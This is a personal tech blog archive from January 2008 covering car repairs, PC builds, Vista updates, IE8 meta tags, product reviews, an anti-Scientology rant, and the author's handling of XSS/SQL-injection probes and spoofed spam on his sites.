01/30/2008 11:58 PM -
my 1990 mitsubishi eclipse gs continues to impress me. today on the way to work i noticed my stereo wasn't on and the heater fan wasn't running. what's more, inspection revealed my lighter outlet, headlamp motors, mirrors, and automatic seatbelts were also inoperative. they all worked fine when i parked the car last night.
nothing was broken that i need for daytime driving (the seatbelts were locked in the worn position), so i continued onward. i took lunch, went back, and came home; finally inspecting the car upon my arrival.
sure enough, first thing i checked. the 40a "battery" fuse was blown. since the rear defroster doesn't work anyway, i simply replaced it with the 40a rear defroster fuse and all the broken systems worked again.
what could blow a 40-amp fuse labeled "battery"? a quick round of googling revealed this is likely the alternator over-charging. wonderful, now i have to have midas re-check their work this weekend. tomorrow i'll pick up a handful of compatible 40a fuses just in case.
at least i know the alternator is doing its job - just a bit too well.
Post.aspx?Title=Great.++So+now+my+alternator+is+over-charging.
01/27/2008 02:09 AM -
so i finally got my secondary pc fully up and running. i finally got everything configured.
the secondary system (herein, "system 2") has been fully patched and upgraded to vista sp1 rc refresh, a thoroughly tedious project. i got all my important drivers and codecs installed. i set up my network drive shares.
having spontaneously realized i only have one set of speakers and the usb headset won't reach that far, i'll be hooking up my speakers to system 2. i generally use the headphones on what i'll call "system 1" anyway.
i'll be offloading functionality over to system 2 as it becomes apparent that i need to. for example, i moved the cameras over there so you can all watch and laugh when vista bsod's on system 1. in an attempt to notice you guys more often, i'll be keeping an irc window open on system 1 so i can monitor chat room activity.
i should probably find a better spot for system 2. right now it's behind the refrigerator and next to the server rack. i get the feeling it's gonna shock the cat.
Post.aspx?Title=Secondary+PC+Fully+Active
01/26/2008 04:35 PM -
note: this does not pertain to an rtm install for vista sp1. it is currently in release candidate status.
let me just say that windows update sucks. i should be able to enter a kb article and go straight to the download. instead, i had to find the redistributables and install them myself. so if you have a copy of microsoft windows vista rtm and want to upgrade to sp1 rc refresh 2, follow these steps:
per this kb article, install prerequisites:kb935509, if you have enterprise or ultimate editions, and you have bitlocker installed for some reason. kb938371, updates for trusted installer. kb937287, updates for the "servicing stack".navigate to kb936330 to download the sp1 redistributable. download and install windows6.0-kb936330-wave1-x86.exe (slower mirror here).
you will need to run most of these steps with elevated priveledges; if you haven't disabled uac yet, make sure you run each installer as an administrator.
Post.aspx?Title=Upgrading+Vista+to+SP1+via+Redistributable+Executable
01/25/2008 11:58 PM -
note: some of the sites linked herein are being ddos'd by a force known as "anonymous" or "legion". therefore, some links may not work for an unknown period of time. the longer the links are broken, the better the fight against scientology is going. via just about every major online news outlet on the internet ( digg, digg, digg, digg,digg, digg, digg,digg, news.com.au, ytmnd, wired magazine, slashdot);also referenced by ( wikipedia, wikipedia,wikipedia, operation clambake, bbc)...
note: at the time of this writing, scientology's recent articles totalled over 30,000 diggs.
note: this entry contains material regarding religion. religion is, by far, the most destructive force ever to be created by man. more people have been killed in the name of religion than for any other reason throughout recorded history. if you're the kind of person who would go to war over a silly concept like superstition, you should not continue reading.
note: this is one of the longest entries i have written to date. either get comfortable, or leave. i don't care which one you pick.
i see cult-like behavior in every religion. since the age of reason (in my case, seven), i have known that the vast majority of people in this world suffer from some sort of mass delusion. never have i been more certain, as i have been researching the farse called scientology. i have neither the time nor the inclination to convince you there is no god. most of you are too stubborn to accept basic logical thinking anyway. however, i'm pretty sure you can believe we weren't inhabited by a bunch of lost souls wandering the earth since 75,000,000 years ago.
what is scientology?
scientology is a cult founded by l. ron hubbard, a science fiction writer; and is centered around "dianetics"and several other books he wrote. allow me to provide you with some basic information on what these whackos actually believe:
reincarnation
"implanted memories from alien spirits"
"man is a spiritual being whose existence spans more than one life and who is endowed with abilities well beyond those which he normally considers he possesses"
a person is an immortal spiritual being (termed a thetan) who possesses a mind and a body.
the thetan has lived through many past lives and will continue to live beyond the death of the body.
psychiatry and psychology are destructive and abusive practices.
reality can be summarized as the common reality around us, also the group agreement of what is true. as seen in the sentence "my sense of reality is that birds fly and fish swim".
the galactic confederacy consisted of 26 stars and 76 planets including earth, known at the time as teegeeack. the planets were overpopulated, averaging over 178 billion and had a civilization very much like our own (though obviously more technically advanced).
on earth, xenu (dictator of the galactic confederacy) was about to be deposed from power, so he devised a plot to eliminate the excess population from his dominions. with the assistance of "renegades", he defeated the populace and the "loyal officers", a force for good that was opposed to xenu. then, with the assistance of psychiatrists, he summoned billions of his citizens together to paralyze them with injections of alcohol and glycol, under the pretense that they were being called for "income tax inspections". the kidnapped populace was loaded into spacecraft for transport to the site of extermination, the planet of teegeeack (earth). when they had reached teegeeack/earth, the paralyzed citizens were unloaded around the bases of volcanoes across the planet. hydrogen bombs were then lowered into the volcanoes and detonated simultaneously. only a few aliens' physical bodies survived. hubbard described the scene in his film script, revolt in the stars:
simultaneously, the planted charges erupted. atomic blasts ballooned from the craters of loa, vesuvius, shasta, washington, fujiyama, etna, and many, many others. arching higher and higher, up and outwards, towering clouds mushroomed, shot through with flashes o
Post.aspx?Title=Scientology+Must+be+Destroyed
01/24/2008 11:59 PM -
this one is work-related, so let me catch you up.
j and i recently delivered a big, fancy, secret billing system in the form of a webform, or online application. it's simple, easy-to-use, and meets every requirement. i'll refer to this as "project newgood". in three months, we delivered what our predecessors failed to deliver in 1.5 years. the good news hit the vp level. everyone was impressed.
then we delivered a section 508c-compliant second version of the application to appease the blind people, despite the fact that our users are accountants who have no business going blind. nonetheless, we satisfied the blind accountants. the good news hit the vp level. everyone was impressed.
then we took over a project that converges a buttload of billing systems into one. it took the previous team two years to deliver a product that didn't work. this project is bigger, fancier, and as secret as my last one, and will be my next big thing, so i'll refer to it herein simply as "project convergence". i'll get back to that in a minute.
a few years back, a major telecom purchased worldcom, who had purchased and bankrupted mci. mci created a project similar to project convergence, except that it was alot simpler and alot more people liked it. i'll refer to this project as "project oldgood". yeah, i know, i'm not great with fake project names.
think of project newgood as a newer generation of project oldgood. it has the same basic features and functionality, except it's in a shiny new ajax-enabled web application instead of a client-side installer. and it doesn't require dvd spools to be delivered to the customer every month. that's why i always refer to it as "big and fancy".
about four months ago, a vp decided project oldgood was history and project convergence was the way to go. he got on the horn with the media and smeared his name all over project convergence as if it were the second coming of christ. apparently none of his yes men had bothered to inform him that none of the customers liked project convergence, and the ones who knew about project oldgood wanted it back. badly.
the discontinued project oldgood has been out of service for some time now, so customers are being forced to upgrade to project convergence whether they like it or not. they do not. as the project was only recently transferred to my department, we're just beginning to get a full grasp of the project status.
many problem reports have been submitted, mostly that customers couldn't copy and paste their work from project oldgood into project convergence. maybe it has something to do with the fact that they were written by two different companies and have vastly different data structures.
so instead of talking to someone who had done actual work on either project (there are people who worked on both), it was decided that j and i would be responsible for creating some utilities that could convert the customers' work from the legacy format to one that would work in the glorious turd that is project convergence.
we were given nearly a month. we did the entire analysis and development phases in 16 hours. terms like "awe-struck" and "saved us x million dollars" come to mind. the good news was at the vp level hours after delivery. everyone was impressed.
some of you may have noticed a decline in my posting frequency. i couldn't think of a good excuse, so i'm gonna go ahead and blame it on this fiasco. now i hope you have a better understanding of why i don't disclose the name of the company i work at.
Post.aspx?Title=Great+Gadget+Grants+Guys+Global+Godliness
01/24/2008 11:32 PM -
i finally got around to bringing up my secondary system. today i purchased a 750w psu, evga 680i mobo, and a 350gb hdd; the rest of the parts were lying around the house.
i installed my old pentium d dual-core cpu, took a gig of ram out of the server, and stuck it in the behemoth blue beast of a case (38lbs empty, solid steel, 2'x2'x8"). i installed vista rtm on it and have been updating it for two hours.
alas, i had already activated the product key i got from the microsoft connect beta program for vista, so i couldn't activate it. since i activated that key on a virtual pc that has since been deleted, i figured i would just call them up and get it deactivated or replaced. alas, they were closed. tomorrow i'll call them at 800.936.5700 and get that done.
after the automated stuff got started, i did some work on a media center pc that j is trying to get set up. i upgraded the cd-rom drive to a dvd-rom drive and installed a shiny new copy of windows media center 2005.
you can tell this thing was seriously pieced together. the motherboard only takes pci and pci-express cards, but all my spare useful video cards are agp. so i ended up installing an ancient radeon 7500. it made me feel dirty.
the vista performance scores follow:
cpu: 4.8
ram: 4.9
hdd: 5.7
graphics: 1.9
gaming graphics: 1.0
so yeah, i'll probably be replacing the 7500 with another radeon x1650 in the next week or two. for now, it's sharing a kvm with the server's console session. that'll last until i can find some space for another screen.
both the power supply and the copy of windows mce were obtained from a closing compusa store at substantial savings. these guys are so serious about closing that they're selling the fixtures.
Post.aspx?Title=New+Hardware%2c+Again
01/22/2008 08:13 PM -
via markus mailke of microsoft, via w3c, via a list apart, via slashdot, which ultimately linked back to the official ie blog - microsoft's ie team has announced that internet explorer 8 will have three distinct render modes:
- standards mode will follow the standards set forth by the world-wide web consortium, regardless of the fact that this may break websites that were hacked to work with non-compliant older versions. this will be a huge step as the industry catches up with itself.
- quirks mode will render a layout in the non-standard way it was in ie 5. i guess the name is based on the quirks some websites have just to render properly.
- edge mode will render in whatever rendering engine is the newest, regardless of whether the specification has been released or not. web developers have to "opt in" manually for edge mode using a custom meta tag.
excerpted from the ie blog post "compatibility and ie8":
in dean’s recent internet explorer 8 and acid2: a milestone post, he highlighted our responsibility to deliver both interoperability (web pages working well across different browsers) and backwards compatibility (web pages working well across different versions of ie). we need to do both, so that ie8 continues to work with the billions of pages on the web today that already work in ie6 and ie7 but also makes the development of the next billion pages (in an interoperable way) much easier (...)
excerpted from the a list apart article "beyond doctype: web standards, forward compatibility, and ie8":
progress always comes at a cost. in the case of web browsers, users bear the cost when developers take the rendering of certain authoring tools and browsers (especially internet explorer) as gospel. when a new version of that browser comes along and fixes bugs or misinterpretations of the spec (or introduces new ones) or in any way changes behavior, sites break and our clients, bosses, and users get very unhappy.
we could spend hours explaining why our sites broke, but wouldn’t it be better if they didn’t break in the first place?
(...)
ie6’s rendering behavior was not updated for five years, leading many developers to assume its rendering was both accurate and unlikely to change.
(...)
chris wilson, platform architect for internet explorer, has often said that one of the core tenets of development on ie is that any choices the ie team makes must not “break the web”. sadly, ie7 did just that for quite a number of people. unwilling to make the same mistake twice, microsoft reached out to the web standards project (...) and to several other standards-aware developers, and asked for our help in coming up with a better method of allowing developers to “opt in” to proper standards support. the goal was to find a method that was more explicit than the doctype switch, and could be implemented in any browser, not just ie.
so, if you want your website to be rendered in ie8's new strict standards engine, you would add this tag:
<meta http-equiv="x-ua-compatible" content="ie=8" />
but if you want to add other browsers (assuming they'll obey the tag), you would add:
<meta http-equiv="x-ua-compatible" content="ie=8;ff=3;otherua=4" />
to select edge mode, you would do this:
<meta http-equiv="x-ua-compatible" content="ie=edge" />
or, you can simply add it as an iis header:
x-ua-compatible: ie=8;ff=3;otherua=4
seeing as the w3c just released the first working draft of html 5 (which is quite different from html4), it is reasonable to assume it may be finalized at about the same time as ie8. it'll probably be in late 2008 or early 2009. should be an interesting time.
i have updated zi255 with the appropriate meta tag, indicating that ie7 is the optimal rendering engine. despite the fact that it now renders almost properly in third-party browsers, i feel the need to say it: firefox be damned.
Post.aspx?Title=IE8+and+its+Three+Distinct+Render+Modes
01/21/2008 09:17 PM -
this review is a follow-up post to my earlier mention of having purchased a new bluetooth wireless headset with microphone. it seemed appropriate to use it for a few days to get a feeling for it before posting a review. now that i've had a few days to use it, here's the review.
synopsis:
the unfortunately-named headset has an unsettingly balanced combination of pros and cons, increasing the difficulty of making a thorough evaluation. it does what it was designed to do; but not particularly well compared to its wired equivalents.
pros:
- no data cord. thus, no chair-related entanglements, and i can keep listening to my music when i pee.
- integrated controls: volume, next/prev track, "multifunction" button
- works with any standard bluetooth adapter
- due to bluetooth, no driver disc required
- connects to both my computer and mobile phone.
cons:
- when i want to use the mic, i have to switch to the "hands free audio" service instead of "stereo audio". this results in very choppy audio at a low quality.
- vista can't recognize what i say anymore. it could when i had a boom mic.
- if i close the "bluetooth devices" window's "audio" tab, the headset disconnects. i have to reconnect it and restart all running audio-enabled applications before the audio can resume. if your service stops working when its control panel is closed, what's the point in running it as a service?
- uncomfortable when worn with glasses; especially when leaning back. the wraparound headband (neckband?) hits my neck, thus moving the headset, thus moving my glasses.
conclusion:
lower quality than its usb and 3.5mm counterparts in every aspect except that it's wireless. flaky and unreliable nature causes me to question its veracity as a product. best buy had it $30 cheaper than their website, and i'm still planning to return it.
i award the headset a lackluster 40% rating and 500 arbitrary cool points. bear in mind, "cool points" are a measure of a product's coolness, and have no bearing on its functionality.
Post.aspx?Title=Review%3a+Insignia+NS-BTHDST+Bluetooth+Headset+w%2fMic
01/20/2008 05:35 PM -
in my last entry, i mentioned that i had visited the cave of the winds today and snapped some panoramic images. as promised, this follow-up post is in reference to the cave itself, and the adventurous tour.
they offer two tours; one is more scenic and educational, while the second is supposedly spooky and exciting. flash photography is only allowed on the first tour because the second tour is lantern-only lighting; so as you can imagine i went with the first one. there was no strenuous climbing, it was cheaper, and only lasted 45 minutes instead of 90.
for this review, i will be reviewing a combination of the cave itself and the experience of the guided tour. i would love to review the cave and only the cave, but the restrictions mentioned below cause the two to become intertwined into a hybrid experience that cannot be separated. you gotta take the bad with the good.
synopsis:
the cave itself is impressive, and its backstory moderately interesting. the assorted formations in the cave are remminiscent of pretty much any other cave in the world, but i found this one interesting because it was the only cave i can remember ever being inside.
as much as i wanted to, i was unable to get authorization to explore the cave freely without a tour group. i was only there to admire the cave and take pictures; i didn't want the guided tour. i didn't want to proceed at their pace, and i certainly didn't want twenty other people in my pictures. unfortunately, they wouldn't let me go through on my own, so i had to be careful with the camera angles and shadows. strange people ruin the scenery.
pros:
- much of the scenery is natural
- some formations may have been formed as long ago as 100 millenia
- ample parking
- great mountain scenery nearby
- one cavernous "room" is so close to the surface of the mountain that you can see tree roots growing down into the ceiling
- flash photography permitted, amidst minor complaints from the tour guide
- ample lighting with easy access to the switches. please do not switch the lights on and off.
- guardrails all over the place will ensure your unsupervised children won't slip and fall down a bottomless pit
- tour guide's instructions were clear and easy to follow (i know, i'm reaching; but it's still a pro)
- highly commercialized gift shop will ensure you can get anything with the name "colorado" on it, as long as you got the green
- you can get your picture taken and bring it home with you
cons:
- safety features and lighting greatly detract from the experience of a natural cave. the modifications made to the cave were so extensive that they could have just as easily added these features in a subtle manner that wouldn't make you think you were boarding an airplane.
- cave cannot be explored at your own liesure. you must pay for a tour, and you must proceed at the tour guide's pace. you have 45 minutes with no leeway.
- some parts of the tour can be difficult for people with medical problems (breathing, heart condition, old and out of shape, etc).
- steepness of the stairs reminded me of when i toured the uss georgia. caves should not remind me of battleships.
- tour guide complains if you take pictures while she's talking
- $2500 fine and/or revocation of your driver's license for touching anything in the cave, except guardrails. the fine i understand; but seriously, what does my license have to do with disturbing nature?
- those pictures they take of you go for ten bucks, and i brought a more expensive camera than they did. oh, and they take your picture whether you want it or not.
conclusion:
overall, it was a good experience and i'm glad i went and paid the $14 (after military $4 discount). i learned a little, though most of it was about "the way this tour used to be..."; and i got some good pictures. sure, i could have found similar pictures online fourteen bucks cheaper, but something about taking one's own pictures adds to a feeling of what i call "mine-ness". plus, i'll bet nobody else
Post.aspx?Title=Review%3a+Cave+of+the+Winds+(Tourist+Trap)
01/20/2008 04:37 PM -
as is typical when i have time, gas, and a working car, i took a trip and snapped a bunch of pictures. today's venture was to the cave of the winds. it's difficult to take panoramas from within a cave for several reasons:
1. enclosed environment
2. wraparound shape doesn't stitch well
3. damn tourists.
4. constant use of the camera flash means less battery life.
so i took some panoramas of the surrounding area and added them to my multiple monitor resources article page, where you can find lots of great multi-monitor wallpapers. honestly, they're really just panoramic jpg's with a resolution so high it makes nasa look bad; but multimon wallpapers are kind of the niche i've dug myself into.
i added three 8200x1050 rectangular cutouts as well as the three raw panoramic stitch dumps, as is my custom. be sure to click the link to the multi-monitor resources page to take a closer look.
the next entry will be in regards to the cave itself.
Post.aspx?Title=Panoramic+Wallpapers%3a+Cave+of+the+Winds
01/19/2008 08:00 PM -
i bought a new headset today at best buy. why would someone as smart as me shop at a place so overpriced? well, sometimes i get impatient and next day air just isn't fast enough. it's an insignia ns-bthdst bluetooth headset, and i got it for $50. from the looks of things, shopping on their website adds about $30 to the purchase price; so i continue to recommend you do your online shopping at newegg or tigerdirect.
the headset features an integrated mic (no boom), and obviously is in the wraparound style. like any other bluetooth headset with mic, it can be paired with a pc or cellular/mobile/wireless phone. since i'm almost never on the phone, i'll most likely just leave it at my desk.
the manufacturer, some no-name company named insignia, was nice enough to give the headset a partial charge before shipping. this isn't a review; i may post one later.
why would i go out and buy this thing when i already have a usb headset? two reasons: the usb headset broke, and the cord was getting caught on the chair. i suppose an argument could also be made for its versatility, though for the moment it's an irrelevancy. perhaps when i get my own place i'll use it as i go wandering around the apartment, but i don't wander much here.
coincidentally, i also have an old-school 2mm audio headset without mic. its main feature is that its shape encircles the entire ear, applying some low-tech noise cancellation by not allowing sound in. i stopped using that one because it only has a four foot cord and the computer's speaker port is six feet away. besides, who wants to switch plugs every time they want to enable or disable a headset?
so, to conclude, i moved from 2mm audio to usb, then to bluetooth. i suppose this one will probably suffice until a cranial implant technology is made available.
Post.aspx?Title=New+Headset
01/18/2008 09:41 PM -
so, i called the chinese food place and ordered the same thing i always order:
egg drop soup
curry shrimp
- no veggies
- no spicy
- add two dorra chicken
- flied lice
- put in plastic container, no leaky styrofoam
well, they always misinterpret "put in plastic container", and assume it means "put the paper bag inside a larger, plastic bag". well, today they got it right for the first time and put the curry in a plastic container so it didn't leak. only took them almost two years.
Post.aspx?Title=Chinese+Food+Place+Gets+my+Order+Right
01/18/2008 08:29 PM -
as always, i've been monitoring the activity on my websites very closely, and i've noticed a significant upward trend in traffic. having excluded the bad guys, spiders, and myself, i'm still left with a trend of steadily increasing traffic.
based on this increase in activity, i figure i'm getting enough traffic now to justify setting up separate environments like the big websites. thusly, both websites have been divided into a compiled production copy for primary access (damnednice / zi255), and a separate development environment (damnednice / zi255). the second set of sites can be accessed manually by adding a /dev to the end of the standard url. these will be the copies i'm currently working on, while the main copies are compiled and optimized.
i believe this trend can be largely attributed to a combination of two aspects: increased googlejuice and a wikipedia article project via which i've been adding incoming links from wikipedia for relevant entries.
and since i'm catching up on things, here are the changes made on zi255 since the last update:
- added sendmail functionality; the site now sends me an e-mail whenever there's an error.
- newline characters in "add comment" body now converted into html line breaks.
- keywords meta tag now includes: titles to most recent entries, up to 1000 characters, upon default requests; title of article, upon article requests; title of entry, upon permalink requests.
- added "total unique ips today" to general statistics.
- bugfix: entry viewer, comments section now properly hyperlinks urls.
- bugfix: ui now enables on viewer1 close when populated vis permalink.
- bugfix: articles no longer scroll horizontally
- mv4 now contains 3666 lines of code.
Post.aspx?Title=Site+Traffic+Growing+Like+a+Weed
01/18/2008 06:43 PM -
based on my analysis of recent traffic logs, it looks like some people have been coming from ips registered through ripe.net. at first it seemed like innocuous increases in traffic; then yesterday, my number of requests nearly tripled with no apparent cause. in nearly every case, each ip follows these steps:
1. they have a private ip address through some european isp. most of them seem to be coming from the luxembourg / germany area.
2. no referrer. ever. they just "knew" my address.
3. spider-like activity. shortly after initial hit, they hit the first tier of links from the main page. this first tier of links includes such destinations as "all entries". from there, they branch off to the second tier of links and access each entry.
4. cross-site scripting and sql injection attacks. they attempt, in vain, to write scripts or transact-sql commands into any textboxes on the site. occasionally, this is tried in the initially requested querystring as well.
this type of activity is occuring from an increasing number of ip addresses; some resolve to a domain, some do not. however, in every case, their registrar of record is ripe.net.
the attackers in question don't seem to realize the site is immune to these types of attacks. all types of user input are validated long before used or stored in any manner. however, they are generating erroneous statistical outputs and increasing server load. while i have plenty of server load to spare (cpus are usually below 10%), i'd really prefer it if 30% of my non-spider activity weren't these guys.
therefore, i am instituting a new policy. i have begun systematically banning all ips meeting these criteria. the number of ips banned for this type of attacks has more than doubled in the past two weeks from 20 to over 40.
when this number reaches 100, i will institute a site-wide ban for all ip addresses resolving to any domain registered through ripe.net. that's several full subnets masked by first octet; effectively banning a sizeable portion of asia. this will be an iis-level ban, rendering any potential application vulnerabilities irrelevant.
i have also noticed similar suspicious activity from ips resolving to a domain registered through apnic (asia pacific network information centre). they seem to be centered in hanoi, going through an isp named vietnam posts and telecommunications. i will be watching them closely.
enough is enough. i will not be a victim of the criminal element giving our beloved internet a bad name.
but hey, while i'm here, i may as well post some random information nobody cares about relating to the attackers.
here's the whois record for 88.212.201.37, my biggest european attacker:
inetnum: 88.212.201.0 - 88.212.201.127
netname: mtw-net
descr: for mediasoft expert ltd.
country: ru
admin-c: mn3617-ripe
tech-c: mn3617-ripe
status: assigned pa
mnt-by: skymedia-mnt
source: ripe # filtered
role: mtw noc
address: ooo mediasoft expert
address: 2a, shelkovskoe sh.
address: 105122 moscow
address: russia
phone: +7 495 7295734
fax-no: +7 495 7295734
remarks: ------------------------------------------------------
remarks: mtw.ru is available 24 x 7
remarks: ------------------------------------------------------
remarks: points of contact for mtw.ru network operations
remarks: ------------------------------------------------------
remarks: routing and peering issues: noc@mtw.ru
remarks: spam and network security issues: abuse@mtw.ru
remarks: mail and news issues: postmaster@mtw.ru
remarks: customer support: support@mtw.ru
remarks: general information: info@mtw.ru
remarks: ------------------------------------------------------
admin-c: fvv36-ripe
tech-c: fvv36-ripe
nic-hdl: mn3617-ripe
abuse-mailbox: abuse@mtw.ru
mnt-by: as2118-mnt
source: ripe # filtered
% information related to '88.212.192.0/18as39134'
route: 88.212.192.0/18
descr: sky-media ltd.
origin: as39134
mnt-by: skymedia-mnt
source: ripe # filtered
here's the whois reco
Post.aspx?Title=New+Asia-Pacific+Ripe.Net+Policy
01/17/2008 11:09 AM -
so, alot of you probably know about the big, fancy, secret project i made for a major telecom. some very few of you are probably aware that i had to made a second version of it for people who require assistive technologies (accessible version, usc section 508c).
so i spent a month or so working on this 508c-compliant version of the app, which will be used by maybe one or two people, ever (compared to the thousands to tens of thousands we anticipate the main version seeing). why not just make the main version 508 compliant? because it was designed in such a way that the user experience would suffer a great loss.
we have an internal 508 certification process, with our own internal requirements for the 508 branding. for example, the section 508 rules specify that all controls must provide keyboard navigation. my company decided that this means "no listboxes or dropdown lists. checkboxes only".
this complicates matters in that some multi-select controls have almost 100 listitems. so to get all 100 items selected, the 508 people have to check 100 checkboxes - but the mainstream users only have to scroll and shift-click once. heck, even with keyboard navigation, you just need home, space, shift-end. but the requirement is that we use checkboxes. you can imagine how the rest of the dev cycle went.
so today i got notification from the 508 certification team that the application passed. it seemed to me that they were unprepared for an application that actually met the 508 requirements, due to the amount of praise they had.
the 508 certification team indicated that the 508 version was so user-accessible and user-friendly that it should replace the main version entirely. what they fail to realize is that users don't like an ugly ui, and users don't like having to click 100 checkboxes individually.
i quoteth the highly-paid consultants:
should be used as a model for other applications.
that made my day.
Post.aspx?Title=508c+Project+Passes+Inspection
01/17/2008 12:22 AM -
ati has released catalyst 8.1, the newest driver package for their radeon line. their release notes indicate a new feature called "multiview". excerpted:
catalyst 8.1 introduces multiview™ support. this feature provides for hardware accelerated opengl rendering across multiple graphics adapters. multiview™ will provide hardware accelerated 3d rendering in a system containing multiple graphics cards on an extended desktop arrangement. this feature will allow for the rendering performance and additional frame buffer resources to be evenly shared with the second and third graphics adapters. this allows for a 3d application to have the same performance running on a secondary or third display device as if it were running on the primary display device. this feature will be supported under windows xp (32 and 64 bit versions), windows vista (32 and 64 bit versions), and the linux operating system.
as a proud user of multiple graphics adapters, i felt a need to try it. now, my response excerpted from my channel9 post on the topic:
?pioneer as i am, i went ahead and upgraded to 8.1. things i noticed:
- install spent about 5 minutes performing at least 5 cycles of all the monitors during the "screen may blink" install section.
- no performance change in 3d games, on primary or secondary adapters.
- the new driver download page is nicer than the old one.
- ultramon and the ati installer don't get along.
- didn't break my aero glass; w00t.
having said that, i haven't really installed any games that detected more than two monitors nor more than one adapter. maybe i'll give flight simulator x another spin.
Post.aspx?Title=ATI+Catalyst+8.1+Released
01/16/2008 08:44 AM -
in a move that was inevitable but not expected at this time, sun microsystems has announced plans to puchase mysql for an undisclosed amount.
fact: sun microsystems is the world's biggest contributor to open source: open office, java, netbeans; and soon mysql.
microsoft is the world's biggest contributor to closed source: 20 years of windows, office, the .net framework (at least for now), sql server, wpf, wcf, silverlight, etc.
which business model do you think is working better?
Post.aspx?Title=The+Hippies+can+have+Monopolies%2c+Too%3a+Sun+Buys+MySQL
01/15/2008 09:26 PM -
working on zi255, i wrote up a rudimentary sendmail system for exception handling. now, instead of just logging errors to sql and detail to a text file, the site will also e-mail me when an error occurs.
while developing, i came across a new error message:
mail rejected: system.net.mail.smtpfailedrecipientexception: mailbox name not allowed. the server response was: sorry, that domain isn't in my list of allowed rcpthosts.
the internets tell me this can be caused by being on a spammer blocklist, or having a record of sending out virii. while i don't send out virii nor spam via e-mail, i have recently noticed mailer daemon bouncebacks because someone is pretending to send mail from my domain. bastards.
anyway, the source of the error was really stupid. i was trying to send from a new address i created, webmaster@zindex255.com -- but i had never typed that before, so my mind subconciously led my fingers to type "webmaster@damnednice.com", which doesn't exist.
so now zi255 sends me e-mail whenever there's an error, or something happened that i decided needs to cause the website to notify me. cool.
the code to send mail in c# (and, thusly, in vb.net, etc.) is very simple:
public static void sendmail(string to, string subject, string body) {
mailmessage mymessage = new mailmessage("from@site.com", to, subject, body);
smtpclient myclient = new smtpclient("smtpserver.site.com");
myclient.usedefaultcredentials = false;
myclient.credentials = new system.net.networkcredential("from@site.com", "password");
myclient.deliverymethod = smtpdeliverymethod.network;
try {
myclient.send(mymessage); }
catch (system.net.mail.smtpfailedrecipientexception ex) {
// stuff to do when message is rejected
}
catch (system.net.mail.smtpexception ex) {
// stuff to do when a mail exception is thrown
}
catch (exception ex) {
// stuff to do when a generic exception is thrown
} }
Post.aspx?Title=Error+Programmatically+Sending+E-mail%3a+%22domain+isn't+in+my+list+of+allowed+rcpthosts%22
01/15/2008 06:15 PM -
a few weeks ago i signed up with bux.to and paid $18 for 15 referrals. my referrals have visited 1050 sites so far and made me $10.90. by my calculations, i should have recouped my losses within another month or so (figuring for users' declining interest), assuming they don't go offline before i cash out.
Post.aspx?Title=Bux.to+Almost+Profitable
01/15/2008 05:45 PM -
so, now i'm a victim of a new type of spam. someone has started sending mass spam from my domain; the worst part is there's nothing i can do about it. all they need is an unsecured smtp server and they can send e-mail from anyone they want to be.
obviously other people are being victimized by whoever's doing this as well; but since my e-mail is a catch-all for any unclaimed address at damnednice.com, i get all the mailer daemon responses.
looks like some of these messages may have contained virii.
i'll publish what details i can, but it's pretty much useless. anyone who googles this, please be aware this mail is not being sent from damnednice.com! these people don't even exist.
there are hundreds more i don't have time to post, but they pretty much all look the same. failure notice pastes follow:
newcloud@pchome.com.tw
(generated from burlalmanac@yaci.cc)
smtp error from remote mail server after rcpt to:<newcloud@pchome.com.tw>:
host mxs.pchome.com.tw [211.20.188.150]: 450 4.7.1 <newcloud@pchome.com.tw>:
recipient address rejected: policy rejection- please try later.:
retry timeout exceeded
------ this is a copy of the message's headers. ------
return-path: <martynas@damnednice.com>
received: from [200.181.194.211] (helo=200-181-194-211.cscgo7001.dsl.brasiltelecom.net.br)
by m1.dnsix.com with esmtp (exim 4.63)
(envelope-from <martynas@damnednice.com>)
id 1jeuan-0005ri-ax
for burlalmanac@yaci.cc; mon, 14 jan 2008 13:36:37 -0500
received: from eu-a091f00fc3e8
by damnednice.com with asmtp id 3f6876eb
for <burlalmanac@yaci.cc>; mon, 14 jan 2008 15:38:02 -0200
received: from eu-a091f00fc3e8 ([198.148.68.77])
by damnednice.com with esmtp id 29c6f35ccce1
for <burlalmanac@yaci.cc>; mon, 14 jan 2008 15:38:02 -0200
message-id: <5f426760.d3905a4a@damnednice.com>
date: mon, 14 jan 2008 15:37:50 -0200
from: "martynas rafanan" <martynas@damnednice.com>
user-agent: thunderbird 2.0.0.0 (windows/20070326)
mime-version: 1.0
to: burlalmanac@yaci.cc
subject: hsamsrek
content-type: text/html; charset=iso-8859-1
content-transfer-encoding: 7bit
this is an automatically generated delivery status notification
this is a warning message only.
you do not need to resend your message.
delivery to the following recipient has been delayed:
lvaldes@toplist.cz
message will be retried for 6 more day(s)
technical details of temporary failure:
disabled_user: account temporarily disabled
----- message header follows -----
received: by 10.35.96.6 with smtp id y6mr7892405pyl.46.1200325872192;
mon, 14 jan 2008 07:51:12 -0800 (pst)
return-path: <khine@damnednice.com>
received: from 200-181-194-211.cscgo7001.dsl.brasiltelecom.net.br ([200.181.194.211])
by mx.google.com with esmtp id z80si21585762pyg.20.2008.01.14.07.51.06;
mon, 14 jan 2008 07:51:12 -0800 (pst)
received-spf: neutral (google.com: 200.181.194.211 is neither permitted nor denied by best guess record for domain of khine@damnednice.com) client-ip=200.181.194.211;
authentication-results: mx.google.com; spf=neutral (google.com: 200.181.194.211 is neither permitted nor denied by best guess record for domain of khine@damnednice.com) smtp.mail=khine@damnednice.com
received: from eu-a091f00fc3e8 ([113.160.81.140]:2252 "ehlo eu-a091f00fc3e8"
smtp-auth: <none> tls-cipher: <none> tls-peer-cn1: <none>)
by 200-181-194-211.cscgo7001.dsl.brasiltelecom.net.br with esmtp id s22ojqdveqonknhb (orcpt
<rfc822;lvaldes%toplist.cz@aspmx3.googlemail.com>);
mon, 14 jan 2008 13:52:47 -0200
message-id: <46126cc9.39b5da92@damnednice.com>
date: mon, 14 jan 2008 13:52:16 -0200
from: "khine hwang" <khine@damnednice.com>
user-agent: thunderbird 2.0.0.0 (windows/20070326)
mime-version: 1.0
to: lvaldes@toplist.cz
subject: houboku
content-type: text/html; charset=iso-8859-1
content-transfer-encoding: 7bit
----- message body suppressed -
Post.aspx?Title=Spam+Coming+from+DamnedNice.Com
01/14/2008 06:10 PM -
Post.aspx?Title=Worst+Board+Game+Ever
01/14/2008 04:11 PM -
just because i don't mention it doesn't mean i'm not doing it. here's the work i've accomplished on zi255 since my last update a week ago:
- added preferences panel and button in "navigation"
- added "add comment" functionality
- viewing comments works now
- created entry viewer accordion, which will allow users to switch freeley between the entry body and comments within the entry viewer
- recent referrers upgraded from plaintext to .net hyperlink objects; improved by object orientation
